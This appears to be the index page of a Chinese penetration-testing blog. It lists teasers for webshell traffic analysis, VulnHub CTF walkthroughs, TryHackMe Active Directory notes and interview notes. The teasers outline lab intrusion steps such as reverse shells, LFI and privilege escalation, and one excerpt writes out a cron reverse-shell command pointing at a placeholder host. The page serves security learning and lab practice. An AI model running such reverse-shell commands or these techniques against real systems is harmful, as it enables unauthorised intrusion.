毕竟几人真得鹿，不知终日梦为鱼。
这里记录我在渗透测试、安全研究和日常折腾中踩过的坑。
/ LATEST INTELLIGENCE
最新研究记录
冰蝎 webshell 流量分析
冰蝎是一款基于 Java 开发的动态加密通信流量的新型 Webshell 客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显，容易被各类安全设备检测，实际场景中越来越少使用，加密 Webshell 正…
MATRIX-BREAKOUT: 2 MORPHEUS
- arp-scan/nmap 扫描
- 目录扫描得 graffiti.php
- 任意文件写入 webshell
- php 反弹 shell
- CVE-2022-2588 提权
Lateral Movement and Pivoting
配置 kali 网络，通过 openvpn 接入实验环境 横向移动（Lateral Movement）是攻击者用于在网络中移动的一套技术。
Enumerating Active Directory
Enumeration 即枚举，国内叫信息收集，AD Enumeration 即域信息收集。一旦拿到一组域内凭据，就可以使用已认证的访问权限开始枚举相关的域配置和域结构的各种详细信息，即使是非常低的权限也能做到。
Breaching Active Directory
通过 openvpn 接入内网 修改 DNS 设置：sudo nano /etc/resolv.conf 将第一条 DNS 设置为：nameserver 10.200.80.101 检测 DNS 设置是否生效 目前获取域…
Active Directory Basics
活动目录（Active Directory，简称 AD）是一组连接在域内的计算机和服务器的集合，它们作为更大域森林中的一部分，构成了活动目录网络。
Windows Local Persistence
Add an unprivileged account to the Administrators group This will allow the account to access the server by us…
Windows Privilege Escalation
The weaknesses could be abused to privilege escalation Question: Users that can change system configurations a…
Enumeration
Question: What command would you use to start the PowerShell interactive command line? Answer: powershell.exe…
The Lay of the Land
Let's start learning! Let's discuss the common network infrastructure in the next Task! use the netstat comman…
渗透测试面经 Part03
这些攻击手法都可以让攻击者在域内进行横向移动，扩大攻击面，最终获取更高的权限。为了避免这些攻击，管理员应该加强对系统的管理，修补漏洞，加强密码策略，限制域内账号的权限等。
渗透测试面经 Part02
通过序列化与反序列化我们可以很方便的进行对象的传递，本质上反序列化是没有危害的，但是如果用户对数据可控那就可以利用反序列化构造有效载荷攻击。反序列化是否存在危害的关键在于传输的数据可控或不可控。
渗透测试面经 Part01
centos 的计划任务可直接通过/bin/bash反弹 shell：set x “\n /bin/bash -i > /dev/tcp/x.x.x.x/6666 0&1\n” ubuntu 的计划任务默认使用 /bin…
SickOS: 1.2
- rustscan/nmap 扫描
- http-enum 发现 /test
- 检测到 PUT 方法
- curl PUT 上传反弹 shell
- chkrootkit /tmp/update 提权
STAPLER: 1
- nmap 扫描
- 插件 LFI 读 wp-config
- phpMyAdmin 取哈希并破解
- 上传插件反弹 shell
- grep 得 peter 密码 sudo 提权
FristiLeaks: 1.3
- nmap 扫描 80
- 源码线索拼出 /fristi 登录
- 双扩展名上传反弹 shell
- cron runthis 得 admin
- 解密得 fristigod sudo doCom 提权